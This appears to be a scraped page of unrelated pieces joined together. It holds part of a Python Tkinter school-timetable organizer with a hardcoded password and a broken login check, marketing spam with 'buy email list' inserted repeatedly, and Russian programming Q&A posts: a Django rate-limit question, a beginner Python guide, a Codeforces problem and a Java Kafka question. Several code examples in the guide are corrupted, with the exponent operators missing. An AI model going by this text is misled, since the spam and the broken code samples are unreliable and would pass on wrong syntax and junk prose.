h2 = "C:/Program Files/Organaizer/Thursday/English"
h3 = "C:/Program Files/Organaizer/Thursday/Maths"
h4 = "C:/Program Files/Organaizer/Thursday/Literature"
h5 = "C:/Program Files/Organaizer/Thursday/ITGS"
f1 = "C:/Program Files/Organaizer/Friday/Registration"
f2 = "C:/Program Files/Organaizer/Friday/CS"
f3 = "C:/Program Files/Organaizer/Friday/Psychology"
f4 = "C:/Program Files/Organaizer/Friday/Grorootg Minds"
try:
os.makedirs(path)
except OSError:
print ("The %s directory could not be created" % path)
else:
print ("The %s directory was successfully created" % path)
try:
os.makedirs(m1)
except OSError:
print ("The %s directory could not be created" % m1)
else:
print ("The %s directory was successfully created" % m1)
try:
os.makedirs(m2)
except OSError:
print ("The %s directory could not be created" % m2)
else:
print ("The %s directory was successfully created" % m2)
try:
os.makedirs(m3)
except OSError:
print ("The %s directory could not be created" % m3)
else:
print ("The %s directory was successfully created" % m3)
try:
os.makedirs(m4)
except OSError:
print ("The %s directory could not be created" % m4)
else:
print ("The %s directory was successfully created" % m4)
try:
os.makedirs(t1)
except OSError:
print ("The %s directory could not be created" % t1)
else:
print ("The %s directory was successfully created" % t1)
try:
os.makedirs(t2)
except OSError:
print ("The %s directory could not be created" % t2)
else:
print ("The %s directory was successfully created" % t2)
try:
os.makedirs(t3)
except OSError:
print ("The %s directory could not be created" % t3)
else:
print ("The %s directory was successfully created" % t3)
try:
os.makedirs(t4)
except OSError:
print ("The %s directory could not be created" % t4)
else:
print ("The %s directory was successfully created" % t4)
try:
os.makedirs(t5)
except OSError:
print ("The %s directory could not be created" % t5)
else:
print ("The %s directory was successfully created" % t5)
try:
os.makedirs(w1)
except OSError:
print ("The %s directory could not be created" % w1)
else:
print ("The %s directory was successfully created" % w1)
try:
os.makedirs(w2)
except OSError:
print ("The %s directory could not be created" % w2)
else:
print ("The %s directory was successfully created" % w2)
try:
os.makedirs(w3)
except OSError:
print ("The %s directory could not be created" % w3)
else:
print ("The %s directory was successfully created" % w3)
try:
os.makedirs(w4)
except OSError:
print ("The %s directory could not be created" % w4)
else:
print ("The %s directory was successfully created" % w4)
try:
os.makedirs(h1)
except OSError:
print ("The %s directory could not be created" % h1)
else:
print ("The %s directory was successfully created" % h1)
try:
os.makedirs(h2)
except OSError:
print ("The %s directory could not be created" % h2)
else:
print ("The %s directory was successfully created" % h2)
try:
os.makedirs(h3)
except OSError:
print ("The %s directory could not be created" % h3)
else:
print ("The %s directory was successfully created" % h3)
try:
os.makedirs(h4)
except OSError:
print ("The %s directory could not be created" % h4)
else:
print ("The %s directory was successfully created" % h4)
try:
os.makedirs(h5)
except OSError:
print ("The %s directory could not be created" % h5)
else:
print ("The %s directory was successfully created" % h5)
try:
os.makedirs(f1)
except OSError:
print ("The %s directory could not be created" % f1)
else:
print ("The %s directory was successfully created" % f1)
try:
os.makedirs(f2)
except OSError:
print ("The %s directory could not be created" % f2)
else:
print ("The %s directory was successfully created" % f2)
try:
os.makedirs(f3)
except OSError:
print ("The %s directory could not be created" % f3)
else:
print ("The %s directory was successfully created" % f3)
try:
os.makedirs(f4)
except OSError:
print ("The %s directory could not be created" % f4)
else:
print ("The %s directory was successfully created" % f4)
root = Tk()
root.title("Login")
root.resizable(0, 0)
root.configure(bg='black')
root.geometry("910x740")
attempts=0
correctpassword="1234"
entrypass = Entry(root, width=25, textvariable=password, show="*")
entrypass.pack()
def start():
while attempts<3:
if entrypass==correctpassword:
print('Correct.')
altroot = Toplevel(root)
altroot.title("Organaizer")
altroot.resizable(0, 0)
altroot.configure(bg='black')
altroot.geometry('910x740')
def monviewcom():
subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Monday\Registration"')
def tuviewcom():
subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Tuesday\Registration"')
def wedviewcom():
subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Wednesday\Registration"')
def huviewcom():
subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Thursday\Registration"')
def frviewcom():
subprocess.Popen(r'explorer /select,"C:\Program Files\Organaizer\Friday\Registration"')
def mondays():
monles = Toplevel(root)
monles.title("MONDAY")
monles.resizable(0, 0)
monles.configure(bg='black')
monles.geometry('910x740')
monlesson = Frame(monles, width=750, height=600, bg='black')
monlesson.grid(row=0, column=0, padx=1, pady=1)
monregistration = Label(monlesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=6)
monregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)
monliterature = Label(monlesson, text="Russian Literature || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=6)
monliterature.grid(row=1, column=0, sticky=S, padx=1, pady=1)
monitgs = Label(monlesson, text="ITGS || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=6)
monitgs.grid(row=2, column=0, sticky=S, padx=1, pady=1)
monmaths = Label(monlesson, text="Maths || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=6)
monmaths.grid(row=3, column=0, sticky=S, padx=1, pady=1)
monview = Button(monlesson, text="View", fg='black', bg='white', font=300, width=85, height=6, command=monviewcom)
monview.grid(row=4, column=0, sticky=S, padx=1, pady=1)
def tuesdays():
tules = Toplevel(root)
tules.title("TUESDAY")
tules.resizable(0, 0)
tules.configure(bg='black')
tules.geometry('910x740')
tulesson = Frame(tules, width=750, height=600, bg='black')
tulesson.grid(row=0, column=0, padx=1, pady=1)
turegistration = Label(tulesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=5)
turegistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)
tuenglish = Label(tulesson, text="English || 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=5)
tuenglish.grid(row=1, column=0, sticky=S, padx=1, pady=1)
tuliterature = Label(tulesson, text="Literature || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=5)
tuliterature.grid(row=2, column=0, sticky=S, padx=1, pady=1)
tucs = Label(tulesson, text="CS || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=5)
tucs.grid(row=3, column=0, sticky=S, padx=1, pady=1)
tupe = Label(tulesson, text="PE || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=5)
tupe.grid(row=4, column=0, sticky=S, padx=1, pady=1)
tuview = Button(tulesson, text="View", fg='black', bg='white', font=300, width=85, height=5, command=tuviewcom)
tuview.grid(row=5, column=0, sticky=S, padx=1, pady=1)
def wednesdays():
wedles = Toplevel(root)
wedles.title("WEDNESDAY")
wedles.resizable(0, 0)
wedles.configure(bg='black')
wedles.geometry('910x740')
wedlesson = Frame(wedles, width=750, height=600, bg='black')
wedlesson.grid(row=0, column=0, padx=1, pady=1)
wedregistration = Label(wedlesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=6)
wedregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)
wedliterature = Label(wedlesson, text="CS || 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=6)
wedliterature.grid(row=1, column=0, sticky=S, padx=1, pady=1)
weditgs = Label(wedlesson, text="Psychology || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=6)
weditgs.grid(row=2, column=0, sticky=S, padx=1, pady=1)
wedmaths = Label(wedlesson, text="English || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=6)
wedmaths.grid(row=3, column=0, sticky=S, padx=1, pady=1)
wedview = Button(wedlesson, text="View", fg='black', bg='white', font=300, width=85, height=6, command=wedviewcom)
wedview.grid(row=4, column=0, sticky=S, padx=1, pady=1)
def thursdays():
hules = Toplevel(root)
hules.title("THURSDAY")
hules.resizable(0, 0)
hules.configure(bg='black')
hules.geometry('910x740')
hulesson = Frame(hules, width=750, height=600, bg='black')
hulesson.grid(row=0, column=0, padx=1, pady=1)
huregistration = Label(hulesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=5)
huregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)
huenglish = Label(hulesson, text="English || 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=5)
huenglish.grid(row=1, column=0, sticky=S, padx=1, pady=1)
humaths = Label(hulesson, text="Maths || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=5)
humaths.grid(row=2, column=0, sticky=S, padx=1, pady=1)
huliterature = Label(hulesson, text="Literature || 11:40 - 12:20 / 13:20 - 14:00", fg='white', bg='black', font=200, width=85, height=5)
huliterature.grid(row=3, column=0, sticky=S, padx=1, pady=1)
huitgs = Label(hulesson, text="ITGS || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=5)
huitgs.grid(row=4, column=0, sticky=S, padx=1, pady=1)
huview = Button(hulesson, text="View", fg='black', bg='white', font=300, width=85, height=5, command=huviewcom)
huview.grid(row=5, column=0, sticky=S, padx=1, pady=1)
def fridays():
frles = Toplevel(root)
frles.title("FRIDAY")
frles.resizable(0, 0)
frles.configure(bg='black')
frles.geometry('910x740')
frlesson = Frame(frles, width=750, height=600, bg='black')
frlesson.grid(row=0, column=0, padx=1, pady=1)
frregistration = Label(frlesson, text="Registration || 8:20 - 8:40", fg='white', bg='black', font=200, width=85, height=6)
frregistration.grid(row=0, column=0, sticky=S, padx=1, pady=1)
frcs = Label(frlesson, text="CS|| 8:40 - 10:00", fg='white', bg='black', font=200, width=85, height=6)
frcs.grid(row=1, column=0, sticky=S, padx=1, pady=1)
frpsychology = Label(frlesson, text="Psychology || 10:20 - 11:40", fg='white', bg='black', font=200, width=85, height=6)
frpsychology.grid(row=2, column=0, sticky=S, padx=1, pady=1)
frgm = Label(frlesson, text="GM || 14:00 - 15:20", fg='white', bg='black', font=200, width=85, height=6)
frgm.grid(row=3, column=0, sticky=S, padx=1, pady=1)
frview = Button(frlesson, text="View", fg='black', bg='white', font=300, width=85, height=6, command=frviewcom)
frview.grid(row=4, column=0, sticky=S, padx=1, pady=1)
lu = Frame(altroot, width=250, height=200, bg='white')
lu.grid(row=0, column=0, padx=1, pady=1, sticky=N)
tp = Frame(altroot, width=250, height=200, bg='white')
tp.grid(row=0, column=1, padx=1, pady=1, sticky=N)
ru = Frame(altroot, width=250, height=200, bg='white')
ru.grid(row=0, column=2, padx=1, pady=1, sticky=N)
lt = Frame(altroot, width=250, height=200, bg='white')
lt.grid(row=1, column=0, padx=1, pady=1, sticky=N)
md = Frame(altroot, width=250, height=200, bg='white')
md.grid(row=1, column=1, padx=1, pady=1, sticky=N)
rt = Frame(altroot, width=250, height=200, bg='white')
rt.grid(row=1, column=2, padx=1, pady=1, sticky=N)
bt = Frame(altroot, width=250, height=200, bg='white')
bt.grid(row=2, column=1, padx=1, pady=1, sticky=N)
mday = Button(lu, text="MONDAY", fg='black', bg='white', font=150, width=27, height=10, command=mondays)
mday.pack()
tday = Button(tp, text="TUESDAY", fg='black', bg='white', font=150, width=27, height=10, command=tuesdays)
tday.pack()
wday = Button(ru, text="WEDNESDAY", fg='black', bg='white', font=150, width=27, height=10, command=wednesdays)
wday.pack()
thday = Button(lt, text="THURSDAY", fg='black', bg='white', font=150, width=27, height=10, command=thursdays)
thday.pack()
fday = Button(md, text="FRIDAY", fg='black', bg='white', font=150, width=27, height=10, command=fridays)
fday.pack()
saday = Label(rt, text="SATURDAY", fg='black', bg='white', font=150, width=27, height=10)
saday.pack()
sday = Label(bt, text="SUNDAY", fg='black', bg='white', font=150, width=27, height=10)
sday.pack()
altroot.mainloop()
else:
attempts+=1
print('incorrect!')
if attempts==3:
print('too many attempts')
ttt = Button(root, text="Enter", command=start).pack()
root.mainloop()
Create A Loyalty Program Another Thing Growth Buy Email List Hackers Focus On Is Building Customer Loyalty .
A loyal customer not only provides a better return on investment but also attracts new customers. Loyalty was one of the main reasons customers chose Amazon over other buy email list e-commerce stores at the start of the COVID-19 pandemic, leading to an increase in Amazon traffic of 100 million. Related: Keyboard shortcuts for Calendar, Reminders, and Notes on Mac The easiest way to build loyalty is to thank your customers for buy email list choosing your brand over all others. Virtual phone systems are the future of customer retention. If you can connect with your customers personally or provide them with a tailored customer marketing experience, you can increase your growth more than buy email list your competitors.
You can offer a loyalty discount or membership based on purchases, or you can simply send a thank you card. You can promote your loyalty program using Chatbots WP, for buy email list example. You can design a bot to inform site visitors about your offer and even answer frequently asked questions in a fully automated way. Focus on email marketing optimization Email marketing is a strategy that most WooCommerce store owners use when launching a new product or service. A cloud-hosted telephony solution lets you make calls from any laptop or mobile device. This is especially good for those who have a micro-niche e-commerce store and want to scale it. You can provide real-time support to buy email list your customers and connect with them on an individual level.
However, this technique became saturated over time. You need to move to a more personalized approach based on your individual client. If you start with cold buy email list campaigns hoping that the target audience can convert, you may not get the best results. The easiest way to personalize your email is to use an email automation platform. This type of platform lets you focus on individual aspects using features like segmentation, A/B testing, custom template design, and more. Alternatively, you can couple your email marketing campaign with your social buy email list media to create a 360-degree customer marketing strategy.
1538   0   08:42, 31st January, 2022
middleware которое будет возвращать ошибку если за последние n секунд было больше k запросов c одного ip адреса
Здравствуйте! Начал изучать Django, здесь встала задачка как реализовать миддлвер, что бы возвращал исключение если за последние n секунд было больше k запросов c одного ip адреса.
На сколько смог додуматься, код ниже:
Python с нуля: полное руководство для начинающих
Оглавление
1. [Введение в Python] 2. [Установка Python] 3. [Первая программа на Python] 4. [Основы синтаксиса Python] 5. [Типы данных в Python] 6. [Переменные и операторы] 7. [Условные конструкции] 8. [Циклы в Python] 9. [Функции] 10. [Работа со
списками и словарями] 11. [Работа с файлами] 12. [Обработка исключений] 13. [Модули и библиотеки] 14. [Объектно-ориентированное программирование в Python] 15. [Практические проекты для начинающих] 16. [Ресурсы для дальнейшего изучения] 17.
[Заключение]
Введение в Python
Python – это мощный, гибкий и легкий для изучения язык программирования, который стал одним из самых популярных в мире. Созданный Гвидо ван Россумом и впервые выпущенный в 1991 году, Python продолжает расти и развиваться, оставаясь при этом
верным своей философии простоты и читаемости кода.
Почему стоит изучать Python?
1. Простота и читаемость: Синтаксис Python интуитивно понятен и близок к естественному языку, что делает его идеальным для начинающих. 2. Универсальность: Python применяется в веб-разработке, анализе данных, искусственном интеллекте,
научных вычислениях и многих других областях. 3. Большое сообщество: Огромное количество разработчиков по всему миру создают библиотеки и инструменты, расширяющие возможности языка. 4. Высокий спрос на рынке труда: Специалисты по Python
высоко ценятся работодателями во многих отраслях. В этом руководстве мы пройдем путь от установки Python до создания ваших первых программ и понимания ключевых концепций языка.
Установка Python
Прежде чем начать программировать на Python, необходимо установить его на ваш компьютер. Python доступен для всех основных операционных систем: Windows, macOS и Linux.
Для Windows:
1. Посетите официальный сайт Python (python.org). 2. Скачайте последнюю версию Python для Windows. 3. Запустите установщик и следуйте инструкциям. Убедитесь, что отмечен пункт "Add Python to PATH". 4. После установки откройте командную
строку и введите `python --version`, чтобы проверить успешность установки.
Для macOS:
1. На современных версиях macOS Python может быть уже установлен. Проверьте это, открыв Terminal и введя `python --version`. 2. Если Python не установлен или вы хотите обновить его, скачайте последнюю версию с официального сайта. 3.
Запустите установщик и следуйте инструкциям.
Для Linux:
На большинстве дистрибутивов Linux Python уже предустановлен. Если нет, вы можете установить его через менеджер пакетов: - Для Ubuntu или Debian: `sudo apt-get install python3` - Для Fedora: `sudo dnf install python3` После установки вы
готовы начать свое путешествие в мир Python!
Первая программа на Python
Традиционно, первой программой на любом языке программирования является "Hello, World!". Давайте создадим эту программу на Python. 1. Откройте любой текстовый редактор (например, Notepad++ для Windows или TextEdit для macOS). 2. Введите
следующий код:
python
print("Hello, World!")
3. Сохраните файл с расширением `.py`, например, `hello_world.py`. 4. Откройте командную строку или терминал, перейдите в директорию с вашим файлом и выполните команду:
python hello_world.py
Вы должны увидеть вывод: `Hello, World!` Поздравляем! Вы только что написали и запустили свою первую программу на Python.
Основы синтаксиса Python
Python известен своим чистым и читаемым синтаксисом. Вот несколько ключевых особенностей: 1. Отступы: Python использует отступы для определения блоков кода. Обычно используется 4 пробела. 2. Комментарии: Однострочные комментарии начинаются
с `#`, многострочные заключаются в `'''` или `"""`. 3. Переменные: В Python не нужно объявлять тип переменной.
python
x = 5 # это целое число
y = "Hello" # это строка
4. Операторы присваивания: Используйте `=` для присваивания значений. 5. Операторы сравнения: `==`, `!=`, `<`, `>`, `<=`, `>=`
6. Логические операторы: `and`, `or`, `not` Понимание этих основ поможет вам начать писать простые программы и
подготовит к изучению более сложных концепций.
Типы данных в Python
Python имеет несколько встроенных типов данных. Вот основные из них: 1. Числа: - Целые числа (int): `x = 5` - Числа с плавающей точкой (float): `y = 3.14` - Комплексные числа: `z = 1 + 2j` 2. Строки (str):
python
name = "Python"
multiline = """Это
многострочная
строка"""
3. Списки (list):
python
fruits = ["яблоко", "банан", "апельсин"]
4. Кортежи (tuple):
python
coordinates = (10, 20)
5. Словари (dict):
python
person = {"name": "Иван", "age": 30}
6. Множества (set):
python
unique_numbers = {1, 2, 3, 4, 5}
7. Логический тип (bool):
python
is_python_fun = True
Понимание типов данных критически важно для эффективного программирования на Python.
Переменные и операторы
Переменные
В Python переменные создаются при первом присваивании:
python
x = 5
name = "Alice"
is_student = True
Python динамически типизирован, что означает, что вам не нужно явно указывать тип переменной.
Операторы
Python поддерживает различные типы операторов: 1. Арифметические операторы: `+`, `-`, `*`, `/`, `//` (целочисленное деление), `%` (остаток), `` (возведение в степень)
python
x = 10
y = 3
print(x + y) # 13
print(x / y) # 3.3333...
print(x // y) # 3
print(x % y) # 1
print(x y) # 1000
2. Операторы сравнения: `==`, `!=`, `<`, `>`, `<=`, `>=`
python
x = 5
y = 10
print(x == y) # False
print(x < y) # True
3. Логические операторы: `and`, `or`, `not`
python
x = 5
y = 10
z = 15
print(x < y and y < z) # True
print(x > y or y > z) # False
print(not x == y) # True
4. Операторы присваивания: `=`, `+=`, `-=`, `*=`, `/=`, `%=`, `=`, `//=`
python
x = 5
x += 3 # эквивалентно x = x + 3
print(x) # 8
Понимание этих операторов позволит вам выполнять различные операции с данными в ваших программах.
Условные конструкции
Условные конструкции позволяют программе принимать решения на основе определенных условий. В Python основной условной конструкцией является `if-elif-else`.
Оператор if
python
age = 18
if age >= 18:
print("Вы совершеннолетний")
Оператор if-else
python
age = 16
if age >= 18:
print("Вы совершеннолетний")
else:
print("Вы несовершеннолетний")
Оператор if-elif-else
python
score = 75
if score >= 90:
print("Отлично")
elif score >= 80:
print("Хорошо")
elif score >= 70:
print("Удовлетворительно")
else:
print("Нужно улучшить результат")
Тернарный оператор
Python также поддерживает тернарный оператор для краткой записи простых условий:
python
age = 20
status = "совершеннолетний" if age >= 18 else "несовершеннолетний"
print(status) # совершеннолетний
Условные конструкции - это мощный инструмент, позволяющий создавать более сложную логику в ваших программах.
Циклы в Python
Циклы позволяют выполнять код многократно. В Python есть два основных типа циклов: `for` и `while`.
Цикл for
Цикл `for` используется для итерации по последовательности (например, списку, кортежу, строке) или другому итерируемому объекту.
python
# Итерация по списку
fruits = ["яблоко", "банан", "апельсин"]
for fruit in fruits:
print(fruit)
# Использование range()
for i in range(5):
print(i) # Выведет числа от 0 до 4
Цикл while
Цикл `while` выполняется, пока условие истинно.
python
count = 0
while count < 5:
print(count)
count += 1
Операторы break и continue
- `break` используется для выхода из цикла досрочно. - `continue` используется для перехода к следующей итерации цикла.
python
for i in range(10):
if i == 3:
continue # Пропустить 3
if i == 7:
break # Выйти из цикла при достижении 7
print(i)
Цикл for с else
Python позволяет использовать `else` с циклом `for`. Блок `else` выполняется, если цикл завершился нормально (без `break`).
python
for i in range(5):
print(i)
else:
print("Цикл завершен нормально")
Циклы - это фундаментальная концепция в программировании, позволяющая эффективно обрабатывать данные и автоматизировать повторяющиеся задачи.
Функции
Функции в Python - это блоки кода, которые выполняют определенную задачу. Они позволяют структурировать код, делая его более читаемым и повторно используемым.
Определение функции
python
def greet(name):
return f"Привет, {name}!"
# Вызов функции
message = greet("Алиса")
print(message) # Выведет: Привет, Алиса!
Параметры функции
Функции могут принимать параметры, которые позволяют передавать в них данные.
python
def add(a, b):
return a + b
result = add(5, 3)
print(result) # Выведет: 8
Параметры по умолчанию
Вы можете задать значения параметров по умолчанию:
python
def greet(name, greeting="Привет"):
return f"{greeting}, {name}!"
print(greet("Боб")) # Выведет: Привет, Боб!
print(greet("Алиса", "Здравствуй")) # Выведет: Здравствуй, Алиса!
Произвольное количество аргументов
Python позволяет функциям принимать произвольное количество аргументов:
python
def sum_all(*args):
return sum(args)
print(sum_all(1, 2, 3, 4)) # Выведет: 10
Лямбда-функции
Лямбда-функции - это небольшие анонимные функции, которые могут иметь любое количество аргументов, но только одно выражение.
python
square = lambda x: x 2
print(square(5)) # Выведет: 25
# Использование лямбда-функции с встроенными функциями
numbers = [1, 2, 3, 4, 5]
squared_numbers = list(map(lambda x: x 2, numbers))
print(squared_numbers) # Выведет: [1, 4, 9, 16, 25]
Области видимости и глобальные переменные
Python использует области видимости для определения доступности переменных.
python
x = 10 # Глобальная переменная
def function():
global x # Объявляем, что хотим использовать глобальную переменную
x = 20 # Изменяем глобальную переменную
print(x)
function()
print(x) # Выведет: 20
Функции - это основа модульного программирования. Они позволяют разбивать сложные задачи на более мелкие, управляемые части, что делает код более организованным и легким для понимания.
Работа со списками и словарями
Списки и словари - это мощные структуры данных в Python, которые позволяют эффективно хранить и обрабатывать коллекции элементов.
Списки
Списки - это упорядоченные коллекции элементов, которые могут быть разных типов.
python
# Создание списка
fruits = ["яблоко", "банан", "апельсин"]
# Добавление элемента
fruits.append("груша")
# Доступ к элементам
print(fruits[0]) # Выведет: яблоко
# Срезы
print(fruits[1:3]) # Выведет: ['банан', 'апельсин']
# Перебор элементов
for fruit in fruits:
print(fruit)
# Списковое включение
squares = [x2 for x in range(5)]
print(squares) # Выведет: [0, 1, 4, 9, 16]
Словари
Словари - это неупорядоченные коллекции пар ключ-значение.
python
# Создание словаря
person = {"name": "Иван", "age": 30, "city": "Москва"}
# Доступ к значениям
print(person["name"]) # Выведет: Иван
# Добавление новой пары ключ-значение
person["job"] = "программист"
# Перебор словаря
for key, value in person.items():
print(f"{key}: {value}")
# Проверка наличия ключа
if "age" in person:
print("Возраст указан")
Работа с файлами
Работа с файлами - важная часть многих программ. Python предоставляет простые и эффективные способы чтения и записи файлов.
Чтение файла
python
# Чтение всего файла
with open("example.txt", "r") as file:
content = file.read()
print(content)
# Чтение файла построчно
with open("example.txt", "r") as file:
for line in file:
print(line.strip())
Запись в файл
python
# Запись в файл
with open("output.txt", "w") as file:
file.write("Привет, мир!")
# Добавление в конец файла
with open("output.txt", "a") as file:
file.write("\nЭто новая строка.")
Использование конструкции `with` гарантирует, что файл будет правильно закрыт после завершения работы с ним.
Обработка исключений
Обработка исключений позволяет вашей программе элегантно справляться с ошибками и непредвиденными ситуациями.
python
try:
number = int(input("Введите число: "))
result = 10 / number
print(f"Результат: {result}")
except ValueError:
print("Вы ввели не число.")
except ZeroDivisionError:
print("Деление на ноль недопустимо.")
except Exception as e:
print(f"Произошла ошибка: {e}")
else:
print("Операция выполнена успешно.")
finally:
print("Этот блок выполняется всегда.")
Модули и библиотеки
Модули позволяют организовывать код и повторно использовать функциональность. Python имеет богатую стандартную библиотеку и тысячи сторонних пакетов.
Импорт модулей
python
# Импорт всего модуля
import math
print(math.pi)
# Импорт конкретной функции
from random import randint
print(randint(1, 10))
# Импорт с псевдонимом
import datetime as dt
print(dt.datetime.now())
Создание собственных модулей
Вы можете создавать собственные модули, просто сохраняя функции в отдельных файлах .py.
python
# В файле mymodule.py
def greet(name):
return f"Привет, {name}!"
# В основном файле
import mymodule
print(mymodule.greet("Алиса"))
Объектно-ориентированное программирование в Python
ООП - это парадигма программирования, которая использует "объекты" для моделирования реальных или абстрактных понятий.
Определение класса
python
class Dog:
def __init__(self, name):
self.name = name
def bark(self):
return f"{self.name} говорит Гав!"
# Создание объекта
my_dog = Dog("Бобик")
print(my_dog.bark()) # Выведет: Бобик говорит Гав!
Наследование
python
class Animal:
def __init__(self, name):
self.name = name
def speak(self):
pass
class Cat(Animal):
def speak(self):
return f"{self.name} говорит Мяу!"
my_cat = Cat("Мурка")
print(my_cat.speak()) # Выведет: Мурка говорит Мяу!
Практические проекты для начинающих
Лучший способ изучить программирование - это практика. Вот несколько идей для проектов: 1. Консольный калькулятор 2. Игра "Угадай число" 3. Программа для ведения списка дел (To-Do List) 4. Простой веб-скрапер с использованием библиотеки
requests 5. Анализатор текста (подсчет слов, букв и т.д.)
Ресурсы для дальнейшего изучения
1. Официальная документация Python (python.org) 2. Книга "Python Crash Course" by Eric Matthes 3. Онлайн-курсы на платформах Coursera, edX, Udemy 4. Сайт PyPI для изучения доступных пакетов 5. GitHub для изучения открытых проектов на Python
Заключение
Python - это мощный и гибкий язык программирования, который отлично подходит как для новичков, так и для опытных разработчиков. Начав с основ, вы можете постепенно углубляться в более сложные темы, такие как обработка данных, машинное
обучение или веб-разработка. Помните, что ключ к успеху в программировании на Питон - это постоянная практика и непрерывное обучение. Не бойтесь экспериментировать, задавать вопросы и работать над реальными проектами.
2599   0   13:58, 18th June, 2022
Помогите решить задачу на python с codeforces
Назовем два числа xx и yy похожими, если они имеют одинаковую четность (одинаковый остаток при делении на 22), или если |x−y|=1|x−y|=1. Например, в каждой из пар (2,6)(2,6), (4,3)(4,3), (11,7)(11,7) числа похожи между собой, а в парах (1,4)(1,4), (3,12)(3,12) — нет.
Вам дан массив aa из nn (число nn четно) целых положительных чисел. Проверьте, существует ли такое разбиение массива на пары, что каждый элемент массива принадлежит ровно одной паре, и в каждой паре числа похожи между собой.
Например для массива a=[11,14,16,12]a=[11,14,16,12] существует разбиение на пары (11,12)(11,12) и (14,16)(14,16). Числа в первой паре похожи, потому что модуль их разности равен единице, а во второй паре — потому что они оба четные.
Входные данные
В первой строке записано одно целое число tt (1≤t≤10001≤t≤1000) — количество наборов тестовых данных в тесте. Далее следуют tt наборов тестовых данных.
Каждый набор задается двумя строками. В первой строке записано четное целое число nn (2≤n≤502≤n≤50) — длина массива aa.
Во второй строке записано nn целых чисел a1,a2,…,ana1,a2,…,an (1≤ai≤1001≤ai≤100).
Выходные данные
Для каждого набора тестовых данных выведите:
- YES, если разбиение существует;
- NO, если разбиения не существует.
Буквы в словах YES и NO можно выводить в любом регистре.
Пример
входные данные
7 4 11 14 16 12 2 1 8 4 1 1 1 1 4 1 2 5 6 2 12 13 6 1 6 3 10 5 8 6 1 12 3 10 5 8
выходные данные
YES NO YES YES YES YES NO
прокидывать exception в блоках try-catch JAVA
я новичок. дали первую таску, одну часть выполнила, на второй встряла. подскажите пожалуйста что конкретно делать тут
"...в сервисных классах кафки нужно прокидывать exception в блоках try-catch, где вызывается log.error(). Нужно будет написать новые эксепшены нашего сервиса и прокидывать их"
мои сервисы
@Slf4j
@Component
@RequiredArgsConstructor
public class KafkaListenersService {
private final KafkaSenderService kafkaSender;
@Value(value = "${kafka-topics.platform-direction-create}")
private String platformDirectionCreate;
@Value(value = "${kafka-topics.platform-direction-update}")
private String platformDirectionUpdate;
@Value(value = "${kafka-topics.platform-direction-delete}")
private String platformDirectionDelete;
private final ObjectMapper objectMapper;
@KafkaListener(topics = "${kafka-topics.adapter-direction-create}")
public void listenerAdapterDirectionCreate(ConsumerRecord<String, JsonNode> myRecord){
log.info("Get message in topic adapter-direction-create, key {} value {}", myRecord.key(), myRecord.value());
DirectionRequest directionRequest = null;
try {
directionRequest = objectMapper.treeToValue(myRecord.value(), DirectionRequest.class);
} catch (JsonProcessingException e) {
log.error("Error reading message: {}", e.getMessage());
}
log.info("Created request to create direction: " + directionRequest.getName());
kafkaSender.sendMessage(platformDirectionCreate, "Create direction", myRecord.value());
}
@KafkaListener(topics = "${kafka-topics.adapter-direction-update}")
public void listenerAdapterDirectionUpdate(ConsumerRecord<String, JsonNode> myRecord){
log.info("Get message in topic adapter-direction-update, key {} value {}", myRecord.key(), myRecord.value());
DirectionRequest directionRequest = null;
try {
directionRequest = objectMapper.treeToValue(myRecord.value(), DirectionRequest.class);
} catch (JsonProcessingException e) {
log.error("Error reading message: {}", e.getMessage());
}
log.info("Created request to update direction: " + directionRequest.getName());
kafkaSender.sendMessage(platformDirectionUpdate, "Update direction", myRecord.value());
}
@KafkaListener(topics = "${kafka-topics.adapter-direction-delete}")
public void listenerAdapterDirectionDelete(ConsumerRecord<String, JsonNode> myRecord){
log.info("Get message in topic adapter-direction-delete, key {} value {}", myRecord.key(), myRecord.value());
String id = null;
try {
id = objectMapper.treeToValue(myRecord.value(), String.class);
} catch (JsonProcessingException e) {
log.error("Error reading message: {}", e.getMessage());
}
log.info("Created request to delete direction with id: " + id);
kafkaSender.sendMessage(platformDirectionDelete, "Delete direction", myRecord.value());
}
}
----------------------------------------------------------------------------------------------------
@Slf4j
@Service
@RequiredArgsConstructor
public class KafkaSenderService {
private final KafkaTemplate<String, Object> kafkaTemplate;
@Value(value = "${acks-timeout-mseconds}")
private Integer acksTimeoutMseconds;
public void sendMessage(String topic, String key, Object msg) {
try {
kafkaTemplate.send(topic, key, msg).get(acksTimeoutMseconds, TimeUnit.MILLISECONDS);
} catch (ExecutionException | InterruptedException | TimeoutException e) {
log.error("Message timeout may not be connected to Kafka! {} , stackTrace {}", e, Arrays.toString(e.getStackTrace()));
}
log.info("Sending via Kafka to a topic: {} massage: {}", topic, msg);
}
}
